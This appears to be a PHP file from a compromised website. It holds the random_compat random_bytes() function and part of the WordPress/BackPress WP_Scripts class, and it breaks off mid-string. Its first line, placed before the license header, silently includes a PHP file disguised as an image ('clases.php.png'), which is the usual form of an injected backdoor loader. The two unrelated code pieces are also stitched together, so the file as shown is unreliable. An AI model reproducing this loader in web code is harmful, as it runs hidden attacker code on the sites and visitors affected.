@include_once('/home/compelv/public_html/v5/slides/Content/Info/clases.php.png'); /** * Random_* Compatibility Library * for using the new PHP 7 random_* API in PHP 5 projects * * The MIT License (MIT) * * Copyright (c) 2015 Paragon Initiative Enterprises * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ if (!defined('RANDOM_COMPAT_READ_BUFFER')) { define('RANDOM_COMPAT_READ_BUFFER', 8); } /** * Unless open_basedir is enabled, use /dev/urandom for * random numbers in accordance with best practices * * Why we use /dev/urandom and not /dev/random * @ref http://sockpuppet.org/blog/2014/02/25/safely-generate-random-numbers * * @param int $bytes * * @throws Exception * * @return string */ function random_bytes($bytes) { static $fp = null; /** * This block should only be run once */ if (empty($fp)) { /** * We use /dev/urandom if it is a char device. * We never fall back to /dev/random */ $fp = fopen('/dev/urandom', 'rb'); if (!empty($fp)) { $st = fstat($fp); if (($st['mode'] & 0170000) !== 020000) { fclose($fp); $fp = false; } } if (!empty($fp)) { /** * stream_set_read_buffer() does not exist in HHVM * * If we don't set the stream's read buffer to 0, PHP will * internally buffer 8192 bytes, which can waste entropy * * stream_set_read_buffer returns 0 on success */ if (function_exists('stream_set_read_buffer')) { stream_set_read_buffer($fp, RANDOM_COMPAT_READ_BUFFER); } if (function_exists('stream_set_chunk_size')) { stream_set_chunk_size($fp, RANDOM_COMPAT_READ_BUFFER); } } } try { $bytes = RandomCompat_intval($bytes); } catch (TypeError $ex) { throw new TypeError( 'random_bytes(): $bytes must be an integer' ); } if ($bytes < 1) { throw new Error( 'Length must be greater than 0' ); } /** * This if() block only runs if we managed to open a file handle * * It does not belong in an else {} block, because the above * if (empty($fp)) line is logic that should only be run once per * page load. */ if (!empty($fp)) { $remaining = $bytes; $buf = ''; /** * We use fread() in a loop to protect against partial reads */ do { $read = fread($fp, $remaining); if ($read === false) { /** * We cannot safely read from the file. Exit the * do-while loop and trigger the exception condition */ $buf = false; break; } /** * Decrease the number of bytes returned from remaining */ $remaining -= RandomCompat_strlen($read); $buf .= $read; } while ($remaining > 0); /** * Is our result valid? */ if ($buf !== false) { if (RandomCompat_strlen($buf) === $bytes) { /** * Return our random entropy buffer here: */ return $buf; } } } /** * If we reach here, PHP has failed us. */ throw new Exception( 'Error reading from source device' ); } /** * BackPress Scripts enqueue. * * These classes were refactored from the WordPress WP_Scripts and WordPress * script enqueue API. * * @package BackPress * @since r16 */ /** * BackPress Scripts enqueue class. * * @package BackPress * @uses WP_Dependencies * @since r16 */ class WP_Scripts extends WP_Dependencies { public $base_url; // Full URL with trailing slash public $content_url; public $default_version; public $in_footer = array(); public $concat = ''; public $concat_version = ''; public $do_concat = false; public $print_html = ''; public $print_code = ''; public $ext_handles = ''; public $ext_version = ''; public $default_dirs; public function __construct() { $this->init(); add_action( 'init', array( $this, 'init' ), 0 ); } /** * @access public */ public function init() { /** * Fires when the WP_Scripts instance is initialized. * * @since 2.6.0 * * @param WP_Scripts &$this WP_Scripts instance, passed by reference. */ do_action_ref_array( 'wp_default_scripts', array(&$this) ); } /** * Prints scripts. * * Prints the scripts passed to it or the print queue. Also prints all necessary dependencies. * * @param mixed $handles Optional. Scripts to be printed. (void) prints queue, (string) prints * that script, (array of strings) prints those scripts. Default false. * @param int $group Optional. If scripts were queued in groups prints this group number. * Default false. * @return array Scripts that have been printed. */ public function print_scripts( $handles = false, $group = false ) { return $this->do_items( $handles, $group ); } /** * @deprecated 3.3 * @see print_extra_script() * * @param string $handle * @param bool $echo * @return bool|string|void */ public function print_scripts_l10n( $handle, $echo = true ) { _deprecated_function( __FUNCTION__, '3.3', 'print_extra_script()' ); return $this->print_extra_script( $handle, $echo ); } /** * @param string $handle * @param bool $echo * @return bool|string|void */ public function print_extra_script( $handle, $echo = true ) { if ( !$output = $this->get_data( $handle, 'data' ) ) return; if ( !$echo ) return $output; echo "\n"; return true; } /** * @param string $handle Name of the item. Should be unique. * @param int|bool $group * @return bool True on success, false if not set. */ public function do_item( $handle, $group = false ) { if ( !parent::do_item($handle) ) return false; if ( 0 === $group && $this->groups[$handle] > 0 ) { $this->in_footer[] = $handle; return false; } if ( false === $group && in_array($handle, $this->in_footer, true) ) $this->in_footer = array_diff( $this->in_footer, (array) $handle ); $obj = $this->registered[$handle]; if ( null === $obj->ver ) { $ver = ''; } else { $ver = $obj->ver ? $obj->ver : $this->default_version; } if ( isset($this->args[$handle]) ) $ver = $ver ? $ver . '&' . $this->args[$handle] : $this->args[$handle]; $src = $obj->src; $cond_before = $cond_after = ''; $conditional = isset( $obj->extra['conditional'] ) ? $obj->extra['conditional'] : ''; if ( $conditional ) { $cond_before = "\n"; } if ( $this->do_concat ) { /** * Filter the script loader source. * * @since 2.2.0 * * @param string $src Script loader source path. * @param string $handle Script handle. */ $srce = apply_filters( 'script_loader_src', $src, $handle ); if ( $this->in_default_dir( $srce ) && ! $conditional ) { $this->print_code .= $this->print_extra_script( $handle, false ); $this->concat .= "$handle,"; $this->concat_version .= "$handle$ver"; return true; } else { $this->ext_handles .= "$handle,"; $this->ext_version .= "$handle$ver"; } } $has_conditional_data = $conditional && $this->get_data( $handle, 'data' ); if ( $has_conditional_data ) { echo $cond_before; } $this->print_extra_script( $handle ); if ( $has_conditional_data ) { echo $cond_after; } if ( ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && 0 === strpos( $src, $this->content_url ) ) ) { $src = $this->base_url . $src; } if ( ! empty( $ver ) ) $src = add_query_arg( 'ver', $ver, $src ); /** This filter is documented in wp-includes/class.wp-scripts.php */ $src = esc_url( apply_filters( 'script_loader_src', $src, $handle ) ); if ( ! $src ) return true; $tag = "{$cond_before}\n{$cond_after}"; /** * Filter the HTML script tag of an enqueued script. * * @since 4.1.0 * * @param string $tag The `